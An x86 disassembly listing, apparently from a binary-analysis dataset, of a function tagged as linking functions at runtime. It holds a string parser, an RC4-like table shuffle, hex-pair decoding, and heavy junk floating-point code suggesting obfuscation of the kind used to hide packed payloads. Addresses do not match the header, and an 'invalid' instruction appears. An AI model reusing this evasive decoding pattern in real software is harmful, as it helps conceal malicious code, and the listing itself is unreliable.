Function at 0x49188b
Capabilities:
Link many functions at runtime

Disassembly:
push ecx
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
push ebp
xor ebp, ebp
mov al, byte [ecx]
push esi
test al, al
push edi
mov dword [esp + 0xc], ebp
mov esi, 0xff
je 0x445223
cmp al, 0x3d
je 0x445223
mov edi, esi
dec esi
test edi, edi
je 0x445223
mov byte [edx], al
mov al, byte [ecx + 1]
inc edx
inc ecx
test al, al
jne 0x44520d
mov byte [edx], 0
mov al, byte [ecx]
inc ecx
cmp al, 0x3d
je 0x445234
pop edi
pop esi
xor eax, eax
pop ebp
pop ecx
ret
cmp byte [ecx], 0x22
jne 0x445242
inc ecx
mov dword [esp + 0xc], 1
mov al, byte [ecx]
mov edi, dword [esp + 0x1c]
push ebx
mov ebx, 0x3ff
test al, al
je 0x4452aa
mov edx, ebx
dec ebx
test edx, edx
je 0x4452aa
movsx edx, al
lea esi, [edx - 0xa]
cmp esi, 0x52
ja case.0x44526c.14
xor edx, edx
mov dl, byte [esi + 0x4452d4]
jmp dword [edx*4 + 0x4452c0]
test ebp, ebp
jne case.0x44526c.14
mov ebp, 1
mov byte [edi], 0x5c
jmp 0x4452a1
mov edx, dword [esp + 0x10]
test edx, edx
jne case.0x44526c.14
xor ebx, ebx
jmp 0x4452a2
test ebp, ebp
jne case.0x44526c.14
mov edx, dword [esp + 0x10]
test edx, edx
je case.0x44526c.14
xor ebx, ebx
jmp 0x4452a2
xor ebp, ebp
mov byte [edi], al
inc edi
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x445252
mov eax, dword [esp + 0x24]
mov byte [edi], 0
pop ebx
pop edi
mov dword [eax], ecx
pop esi
mov eax, 1
pop ebp
pop ecx
ret
movsd xmm0, qword [ebp - 0x5114]
addsd xmm0, qword [0x9d3050]
movsd qword [ebp - 0x5114], xmm0
movsd xmm0, qword [0x9d4ed8]
comisd xmm0, xmmword [ebp - 0x5114]
jbe 0x485727
movsd xmm0, qword [0x9d3de0]
mulsd xmm0, qword [ebp - 0x5114]
mulsd xmm0, qword [ebp - 0x5114]
movsd xmm1, qword [ebp - 0x5114]
mulsd xmm1, qword [ebp - 0x5114]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d39b8]
mulsd xmm1, qword [ebp - 0x5114]
mulsd xmm1, qword [ebp - 0x5114]
addsd xmm1, qword [0x9d3b60]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x537c]
movsd qword [ebp - 0x537c], xmm0
movsd xmm0, qword [ebp - 0x537c]
comisd xmm0, xmmword [0x9d3bf0]
jbe 0x485722
movsd xmm0, qword [0x9d38a0]
mulsd xmm0, qword [ebp - 0x5114]
movsd xmm1, qword [ebp - 0x537c]
subsd xmm1, xmm0
movsd qword [ebp - 0x537c], xmm1
jmp 0x48565e
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x537c]
jbe 0x48576a
pop eax
invalid
mov dword [ebp - 0x61c4], 0x485734
mov dword [ebp - 0x61c0], 0x485754
mov ecx, dword [ebp - 0x61c4]
mov dword [ebp - 0x41c0], ecx
mov edx, dword [ebp - 0x61c0]
mov dword [ebp - 0x61bc], edx
mov byte [ebp - 0x3da8], 0x15
mov dword [ebp - 0x343c], 0
mov dword [ebp - 0x4a98], 0
mov dword [ebp - 0x343c], 0
jmp 0x4857cc
mov eax, dword [ebp - 0x343c]
add eax, 1
mov dword [ebp - 0x343c], eax
cmp dword [ebp - 0x343c], 0x100
jae 0x4857f2
mov ecx, dword [ebp - 0x343c]
shl ecx, 0
lea edx, [ebp - 0x29a8]
mov al, byte [ebp - 0x343c]
mov byte [ecx + edx], al
jmp 0x4857bd
mov dword [ebp - 0x4a98], 0
mov byte [ebp - 0x3401], 0
mov dword [ebp - 0x343c], 0xff
jmp 0x48581e
mov ecx, dword [ebp - 0x343c]
sub ecx, 1
mov dword [ebp - 0x343c], ecx
cmp dword [ebp - 0x343c], 0
jbe 0x485ae4
mov dword [ebp - 0x5838], 0
mov dword [ebp - 0x562c], 1
mov dword [ebp - 0x4650], 0
mov edx, dword [ebp - 0x562c]
cmp edx, dword [ebp - 0x343c]
jae 0x48586a
mov eax, dword [ebp - 0x562c]
shl eax, 1
add eax, 1
mov dword [ebp - 0x562c], eax
jmp 0x485849
mov ecx, dword [ebp - 0x4a98]
mov dword [ebp - 0x5ddc], ecx
cmp dword [ebp - 0x5ddc], 3
ja case.default.0x485889
mov edx, dword [ebp - 0x5ddc]
jmp dword [edx*4 + 0x4de82c]
movzx eax, byte [ebp - 0x3401]
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x537c]
call fcn.009b1700
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3401], bl
jmp 0x485990
movzx edx, byte [ebp - 0x3401]
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x537c]
call fcn.009b1700
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3401], bl
jmp 0x485990
movzx ecx, byte [ebp - 0x3401]
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x537c]
call fcn.009b1700
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3401], bl
jmp 0x485990
movzx eax, byte [ebp - 0x3401]
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x537c]
call fcn.009b1700
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3401], bl
jmp 0x485990
movzx edx, byte [ebp - 0x3401]
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [edx + eax]
mov edx, dword [ebp - 0x4a98]
sub edx, 4
shl edx, 0
add edx, dword [ebp - 0x61bc]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x3401], cl
mov ecx, dword [ebp - 0x4a98]
add ecx, 1
mov dword [ebp - 0x4a98], ecx
movzx edx, byte [ebp - 0x3da8]
cmp dword [ebp - 0x4a98], edx
jb 0x4859ce
mov dword [ebp - 0x4a98], 0
movzx eax, byte [ebp - 0x3da8]
movzx ecx, byte [ebp - 0x3401]
add ecx, eax
mov byte [ebp - 0x3401], cl
movzx edx, byte [ebp - 0x3401]
and edx, dword [ebp - 0x562c]
mov dword [ebp - 0x4650], edx
mov eax, dword [ebp - 0x5838]
add eax, 1
mov dword [ebp - 0x5838], eax
cmp dword [ebp - 0x5838], 0xb
jbe 0x485a0d
mov eax, dword [ebp - 0x4650]
xor edx, edx
div dword [ebp - 0x343c]
mov dword [ebp - 0x4650], edx
mov ecx, dword [ebp - 0x4650]
cmp ecx, dword [ebp - 0x343c]
ja 0x48586a
mov edx, dword [ebp - 0x343c]
cmp edx, dword [ebp - 0x4650]
je 0x485adf
mov eax, dword [ebp - 0x343c]
shl eax, 0
lea ecx, [ebp - 0x29a8]
mov edx, dword [ebp - 0x4650]
shl edx, 0
lea esi, [ebp - 0x29a8]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x343c]
shl ecx, 0
lea edx, [ebp - 0x29a8]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x4650]
shl eax, 0
lea ecx, [ebp - 0x29a8]
mov edx, dword [ebp - 0x343c]
shl edx, 0
lea esi, [ebp - 0x29a8]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x4650]
shl ecx, 0
lea edx, [ebp - 0x29a8]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x343c]
shl eax, 0
lea ecx, [ebp - 0x29a8]
mov edx, dword [ebp - 0x4650]
shl edx, 0
lea esi, [ebp - 0x29a8]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x343c]
shl ecx, 0
lea edx, [ebp - 0x29a8]
mov byte [ecx + edx], al
jmp 0x48580f
mov eax, 1
shl eax, 0
lea ecx, [ebp - 0x29a8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3279], dl
mov eax, 1
imul ecx, eax, 3
lea edx, [ebp - 0x29a8]
mov al, byte [ecx + edx]
mov byte [ebp - 0x32b7], al
mov ecx, 1
imul edx, ecx, 5
lea eax, [ebp - 0x29a8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x337d], cl
mov edx, 1
imul eax, edx, 7
lea ecx, [ebp - 0x29a8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x32b8], dl
movzx eax, byte [ebp - 0x3401]
shl eax, 0
lea ecx, [ebp - 0x29a8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x330c], dl
mov dword [ebp - 0x5b60], 0x20
cmp dword [ebp - 0x5b60], 2
jle 0x4877c3
mov eax, dword [ebp - 0x5b60]
and eax, 1
jne 0x4877c3
mov dword [ebp - 0x343c], 0
mov dword [ebp - 0x38e8], 0
mov ecx, dword [ebp - 0x38e8]
add ecx, 1
mov dword [ebp - 0x38e8], ecx
mov dword [ebp - 0x4050], 0
mov edx, dword [ebp - 0x343c]
shl edx, 1
mov dword [ebp - 0x4050], edx
mov dword [ebp - 0x3f20], 0
mov eax, dword [ebp - 0x4050]
shl eax, 0
add eax, dword [ebp - 0x41c0]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3f20]
mov dword [ebp - 0x3f20], ecx
mov dword [ebp - 0x3f24], 0
mov edx, dword [ebp - 0x3f24]
add edx, 0x55
mov dword [ebp - 0x3f24], edx
mov dword [ebp - 0x4054], 0
mov eax, dword [ebp - 0x343c]
shl eax, 1
add eax, 1
mov dword [ebp - 0x4054], eax
mov dword [ebp - 0x3f28], 0
mov ecx, dword [ebp - 0x4054]
shl ecx, 0
add ecx, dword [ebp - 0x41c0]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3f28]
mov dword [ebp - 0x3f28], edx
mov dword [ebp - 0x3f2c], 0
mov eax, dword [ebp - 0x3f2c]
add eax, 0xbf
mov dword [ebp - 0x3f2c], eax
mov dword [ebp - 0x3f30], 0
mov ecx, dword [ebp - 0x3f20]
sub ecx, dword [ebp - 0x3f24]
add ecx, dword [ebp - 0x3f30]
mov dword [ebp - 0x3f30], ecx
mov dword [ebp - 0x3f34], 0
mov edx, dword [ebp - 0x3f28]
sub edx, dword [ebp - 0x3f2c]
add edx, dword [ebp - 0x3f34]
mov dword [ebp - 0x3f34], edx
mov dword [ebp - 0x4058], 0
mov eax, dword [ebp - 0x3f30]
shl eax, 4
mov dword [ebp - 0x4058], eax
mov dword [ebp - 0x405c], 0
mov ecx, dword [ebp - 0x3f34]
mov dword [ebp - 0x405c], ecx
mov dword [ebp - 0x4060], 0
mov edx, dword [ebp - 0x4058]
or edx, dword [ebp - 0x405c]
mov dword [ebp - 0x4060], edx
mov byte [ebp - 0x337c], 0
mov al, byte [ebp - 0x4060]
mov byte [ebp - 0x337c], al
mov byte [ebp - 0x337e], 0
movzx ecx, byte [ebp - 0x330c]
shl ecx, 0
lea edx, [ebp - 0x29a8]
mov al, byte [ecx + edx]
mov byte [ebp - 0x337e], al
movzx ecx, byte [ebp - 0x3279]
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x32b7]
add ecx, eax
mov byte [ebp - 0x32b7], cl
mov dl, byte [ebp - 0x3279]
add dl, 1
mov byte [ebp - 0x3279], dl
movzx eax, byte [ebp - 0x32b7]
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [ebp - 0x330c]
shl edx, 0
lea esi, [ebp - 0x29a8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x32b8]
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx eax, byte [ebp - 0x32b7]
shl eax, 0
lea esi, [ebp - 0x29a8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3279]
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ebp - 0x32b8]
shl ecx, 0
lea esi, [ebp - 0x29a8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3279]
shl eax, 0
lea ecx, [ebp - 0x29a8]
mov dl, byte [ebp - 0x337e]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x337e]
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x337d]
add eax, edx
mov byte [ebp - 0x337d], al
movzx ecx, byte [ebp - 0x337c]
movzx edx, byte [ebp - 0x32b7]
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3279]
shl eax, 0
lea esi, [ebp - 0x29a8]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x32b8]
shl eax, 0
lea edx, [ebp - 0x29a8]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x330c]
shl edx, 0
lea esi, [ebp - 0x29a8]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x337d]
shl edx, 0
lea esi, [ebp - 0x29a8]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x29a8]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x29a8]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x32b8], cl
mov cl, byte [ebp - 0x337c]
mov byte [ebp - 0x330c], cl
mov dl, byte [ebp - 0x32b8]
mov byte [ebp - 0x3476], dl
cmp dword [ebp - 0x343c], 0
jbe 0x485ee4
mov eax, dword [ebp - 0x343c]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x2138]
mov dl, byte [ebp - 0x3476]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x343c]
add eax, 1
mov dword [ebp - 0x343c], eax
mov ecx, dword [ebp - 0x38e8]
add ecx, 1
mov dword [ebp - 0x38e8], ecx
mov edx, dword [ebp - 0x343c]
shl edx, 1
mov dword [ebp - 0x4050], edx
mov eax, dword [ebp - 0x4050]
shl eax, 0
add eax, dword [ebp - 0x41c0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3f20], ecx
mov dword [ebp - 0x3f24], 0x55
mov edx, dword [ebp - 0x343c]
shl edx, 1
add edx, 1
mov dword [ebp - 0x4054], edx
mov eax, dword [ebp - 0x4054]
shl eax, 0
add eax, dword [ebp - 0x41c0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3f28], ecx
mov dword [ebp - 0x3f2c], 0xbf
mov edx, dword [ebp - 0x3f20]
sub edx, dword [ebp - 0x3f24]
mov dword [ebp - 0x3f30], edx
mov eax, dword [ebp - 0x3f28]
sub eax, dword [ebp - 0x3f2c]
mov dword [ebp - 0x3f34], eax
mov ecx, dword [ebp - 0x3f30]
shl ecx, 4
mov dword [ebp - 0x4058], ecx
mov edx, dword [ebp - 0x3f34]
mov dword [ebp - 0x405c], edx
mov eax, dword [ebp - 0x4058]
or eax, dword [ebp - 0x405c]
mov dword [ebp - 0x4060], eax
mov cl, byte [ebp - 0x4060]
mov byte [ebp - 0x337c], cl
movzx edx, byte [ebp - 0x330c]
shl edx, 0
lea eax, [ebp - 0x29a8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x337e], cl
movzx edx, byte [ebp - 0x3279]
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x32b7]
add edx, ecx
mov byte [ebp - 0x32b7], dl
mov al, byte [ebp - 0x3279]
add al, 1
mov byte [ebp - 0x3279], al
movzx ecx, byte [ebp - 0x32b7]
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx eax, byte [ebp - 0x330c]
shl eax, 0
lea esi, [ebp - 0x29a8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x32b8]
shl edx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ebp - 0x32b7]
shl ecx, 0
lea esi, [ebp - 0x29a8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3279]
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx edx, byte [ebp - 0x32b8]
shl edx, 0
lea esi, [ebp - 0x29a8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3279]
shl ecx, 0
lea edx, [ebp - 0x29a8]
mov al, byte [ebp - 0x337e]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x337e]
shl ecx, 0
lea edx, [ebp - 0x29a8]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x337d]
add ecx, eax
mov byte [ebp - 0x337d], cl
movzx edx, byte [ebp - 0x337c]
movzx eax, byte [ebp - 0x32b7]
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3279]
shl ecx, 0
lea esi, [ebp - 0x29a8]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x29a8]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x32b8]
shl ecx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x330c]
shl eax, 0
lea esi, [ebp - 0x29a8]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x337d]
shl eax, 0
lea esi, [ebp - 0x29a8]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x29a8]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x32b8], dl
mov dl, byte [ebp - 0x337c]
mov byte [ebp - 0x330c], dl
mov al, byte [ebp - 0x32b8]
mov byte [ebp - 0x3476], al
cmp dword [ebp - 0x343c], 0
jbe 0x4861a3
mov ecx, dword [ebp - 0x343c]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x2138]
mov al, byte [ebp - 0x3476]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x38e8]
add ecx, 6
mov dword [ebp - 0x38e8], ecx
mov edx, dword [ebp - 0x343c]
add edx, 1
mov dword [ebp - 0x4a9c], edx
jmp 0x4861d2
mov eax, dword [ebp - 0x4a9c]
add eax, 1
mov dword [ebp - 0x4a9c], eax
mov ecx, dword [ebp - 0x4a9c]
cmp ecx, dword [ebp - 0x38e8]
jge 0x486f00
mov edx, dword [ebp - 0x343c]
add edx, 1
mov dword [ebp - 0x343c], edx
mov eax, dword [ebp - 0x343c]
shl eax, 1
mov dword [ebp - 0x4050], eax
mov ecx, dword [ebp - 0x4050]
shl ecx, 0
add ecx, dword [ebp - 0x41c0]
movzx edx, byte [ecx]
mov dword [ebp - 0x3f20], edx
mov dword [ebp - 0x3f24], 0x55
movss xmm0, dword [0x9d57a8]
movss dword [ebp - 0x4800], xmm0
movss xmm0, dword [0x9d570c]
movss dword [ebp - 0x41bc], xmm0
movss xmm0, dword [0x9d560c]
movss dword [ebp - 0x4d64], xmm0
movss xmm0, dword [0x9d54a8]
movss dword [ebp - 0x4d60], xmm0
movss xmm0, dword [0x9d534c]
movss dword [ebp - 0x4654], xmm0
movss xmm0, dword [0x9d520c]
movss dword [ebp - 0x5628], xmm0
movss xmm0, dword [0x9d50a0]
movss dword [ebp - 0x3e00], xmm0
movss xmm0, dword [ebp - 0x5628]
mulss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x5628], xmm0
movss xmm0, dword [ebp - 0x4800]
mulss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x4800], xmm0
movss xmm0, dword [ebp - 0x4654]
mulss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x4654], xmm0
movss xmm0, dword [ebp - 0x4800]
mulss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x4800], xmm0
movss xmm0, dword [ebp - 0x4d64]
subss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x4d64], xmm0
movss xmm0, dword [ebp - 0x5628]
mulss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x5628], xmm0
movss xmm0, dword [ebp - 0x4800]
addss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x4800], xmm0
movss xmm0, dword [ebp - 0x3e00]
comiss xmm0, dword [ebp - 0x4800]
jbe 0x4863fd
movss xmm0, dword [ebp - 0x4654]
mulss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x4654], xmm0
movss xmm0, dword [ebp - 0x41bc]
divss xmm0, dword [ebp - 0x4d60]
movss dword [ebp - 0x41bc], xmm0
movss xmm0, dword [ebp - 0x4654]
divss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x4654], xmm0
movss xmm0, dword [ebp - 0x4d60]
divss xmm0, dword [ebp - 0x5628]
movss dword [ebp - 0x4d60], xmm0
movss xmm0, dword [ebp - 0x41bc]
subss xmm0, dword [ebp - 0x4d60]
movss dword [ebp - 0x41bc], xmm0
movss xmm0, dword [ebp - 0x3e00]
divss xmm0, dword [ebp - 0x41bc]
movss dword [ebp - 0x3e00], xmm0
movss xmm0, dword [ebp - 0x41bc]
mulss xmm0, dword [ebp - 0x4d60]
movss dword [ebp - 0x41bc], xmm0
jmp 0x4864b6
mov eax, dword [ebp - 0x343c]
shl eax, 1
add eax, 1
mov dword [ebp - 0x4054], eax
movss xmm0, dword [ebp - 0x3e00]
subss xmm0, dword [ebp - 0x41bc]
movss dword [ebp - 0x3e00], xmm0
movss xmm0, dword [ebp - 0x4654]
mulss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x4654], xmm0
movss xmm0, dword [ebp - 0x41bc]
addss xmm0, dword [ebp - 0x4d60]
movss dword [ebp - 0x41bc], xmm0
movss xmm0, dword [ebp - 0x41bc]
subss xmm0, dword [ebp - 0x4d60]
movss dword [ebp - 0x41bc], xmm0
movss xmm0, dword [ebp - 0x4800]
addss xmm0, dword [ebp - 0x4d64]
movss dword [ebp - 0x4800], xmm0
movss xmm0, dword [ebp - 0x4d64]
subss xmm0, dword [ebp - 0x4654]
movss dword [ebp - 0x4d64], xmm0
movss xmm0, dword [ebp - 0x4d64]
subss xmm0, dword [ebp - 0x4654]
movss dword [ebp - 0x4d64], xmm0
mov ecx, dword [ebp - 0x4054]
shl ecx, 0
add ecx, dword [ebp - 0x41c0]
movzx edx, byte [ecx]
mov dword [ebp - 0x3f28], edx
mov dword [ebp - 0x3f2c], 0xbf
mov eax, dword [ebp - 0x3f20]
sub eax, dword [ebp - 0x3f24]
mov dword [ebp - 0x3f30], eax
mov ecx, dword [ebp - 0x3f28]
sub ecx, dword [ebp - 0x3f2c]
mov dword [ebp - 0x3f34], ecx
movss xmm0, dword [0x9d567c]
movss dword [ebp - 0x38e4], xmm0
movss xmm0, dword [0x9d5528]
movss dword [ebp - 0x3650], xmm0
movss xmm0, dword [0x9d53c0]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [0x9d524c]
movss dword [ebp - 0x4d68], xmm0
movss xmm0, dword [0x9d50d0]
movss dword [ebp - 0x3c54], xmm0
movss xmm0, dword [ebp - 0x38e4]
mulss xmm0, dword [ebp - 0x3c54]
movss dword [ebp - 0x38e4], xmm0
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x3c54]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x38e4]
subss xmm0, dword [ebp - 0x3c54]
movss dword [ebp - 0x38e4], xmm0
movss xmm0, dword [ebp - 0x38e4]
mulss xmm0, dword [ebp - 0x3c54]
movss dword [ebp - 0x38e4], xmm0
movss xmm0, dword [ebp - 0x3650]
mulss xmm0, dword [ebp - 0x3c54]
movss dword [ebp - 0x3650], xmm0
movss xmm0, dword [ebp - 0x38e4]
comiss xmm0, dword [ebp - 0x3c54]
jbe 0x486665
movss xmm0, dword [ebp - 0x3650]
addss xmm0, dword [ebp - 0x4d68]
movss dword [ebp - 0x3650], xmm0
mov edx, dword [ebp - 0x3f30]
shl edx, 4
mov dword [ebp - 0x4058], edx
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x3c54]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x3c54]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x34b0]
addss xmm0, dword [ebp - 0x3c54]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x38e4]
subss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x38e4], xmm0
jmp 0x486858
movss xmm0, dword [ebp - 0x3650]
subss xmm0, dword [ebp - 0x4d68]
movss dword [ebp - 0x3650], xmm0
movss xmm0, dword [ebp - 0x38e4]
mulss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x38e4], xmm0
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x3c54]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x3c54]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x34b0]
addss xmm0, dword [ebp - 0x3c54]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x3650]
divss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3650], xmm0
movss xmm0, dword [ebp - 0x34b0]
divss xmm0, dword [ebp - 0x4d68]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x38e4]
mulss xmm0, dword [ebp - 0x3650]
movss dword [ebp - 0x38e4], xmm0
movss xmm0, dword [ebp - 0x3650]
divss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3650], xmm0
movss xmm0, dword [ebp - 0x3650]
mulss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3650], xmm0
movss xmm0, dword [ebp - 0x38e4]
comiss xmm0, dword [ebp - 0x4d68]
jbe 0x4867e0
movss xmm0, dword [ebp - 0x34b0]
addss xmm0, dword [ebp - 0x4d68]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x3650]
addss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3650], xmm0
movss xmm0, dword [ebp - 0x38e4]
subss xmm0, dword [ebp - 0x3650]
movss dword [ebp - 0x38e4], xmm0
movss xmm0, dword [ebp - 0x3650]
addss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3650], xmm0
movss xmm0, dword [ebp - 0x3c54]
mulss xmm0, dword [ebp - 0x38e4]
movss dword [ebp - 0x3c54], xmm0
jmp 0x486858
movss xmm0, dword [ebp - 0x38e4]
addss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x38e4], xmm0
movss xmm0, dword [ebp - 0x3650]
mulss xmm0, dword [ebp - 0x4d68]
movss dword [ebp - 0x3650], xmm0
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x3c54]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x3c54]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x3650]
addss xmm0, dword [ebp - 0x4d68]
movss dword [ebp - 0x3650], xmm0
mov eax, dword [ebp - 0x3f34]
mov dword [ebp - 0x405c], eax
mov ecx, dword [ebp - 0x4058]
or ecx, dword [ebp - 0x405c]
mov dword [ebp - 0x4060], ecx
mov dl, byte [ebp - 0x4060]
mov byte [ebp - 0x337c], dl
movzx eax, byte [ebp - 0x330c]
shl eax, 0
lea ecx, [ebp - 0x29a8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x337e], dl
movsd xmm0, qword [0x9d4e88]
movsd qword [ebp - 0x5384], xmm0
movsd xmm0, qword [0x9d4d48]
movsd qword [ebp - 0x4540], xmm0
movsd xmm0, qword [0x9d4bc0]
movsd qword [ebp - 0x44e8], xmm0
movsd xmm0, qword [0x9d4918]
movsd qword [ebp - 0x489c], xmm0
movsd xmm0, qword [0x9d4630]
movsd qword [ebp - 0x4f8c], xmm0
movsd xmm0, qword [0x9d4318]
movsd qword [ebp - 0x4724], xmm0
movsd xmm0, qword [0x9d3ff0]
movsd qword [ebp - 0x43a0], xmm0
movsd xmm0, qword [ebp - 0x44e8]
mulsd xmm0, qword [ebp - 0x43a0]
movsd qword [ebp - 0x44e8], xmm0
movsd xmm0, qword [ebp - 0x4540]
subsd xmm0, qword [ebp - 0x43a0]
movsd qword [ebp - 0x4540], xmm0
movsd xmm0, qword [ebp - 0x4540]
mulsd xmm0, qword [ebp - 0x43a0]
movsd qword [ebp - 0x4540], xmm0
movsd xmm0, qword [ebp - 0x4724]
addsd xmm0, qword [ebp - 0x43a0]
movsd qword [ebp - 0x4724], xmm0
movsd xmm0, qword [ebp - 0x44e8]
subsd xmm0, qword [ebp - 0x43a0]
movsd qword [ebp - 0x44e8], xmm0
movsd xmm0, qword [ebp - 0x4540]
subsd xmm0, qword [ebp - 0x43a0]
movsd qword [ebp - 0x4540], xmm0
movsd xmm0, qword [ebp - 0x5384]
addsd xmm0, qword [ebp - 0x43a0]
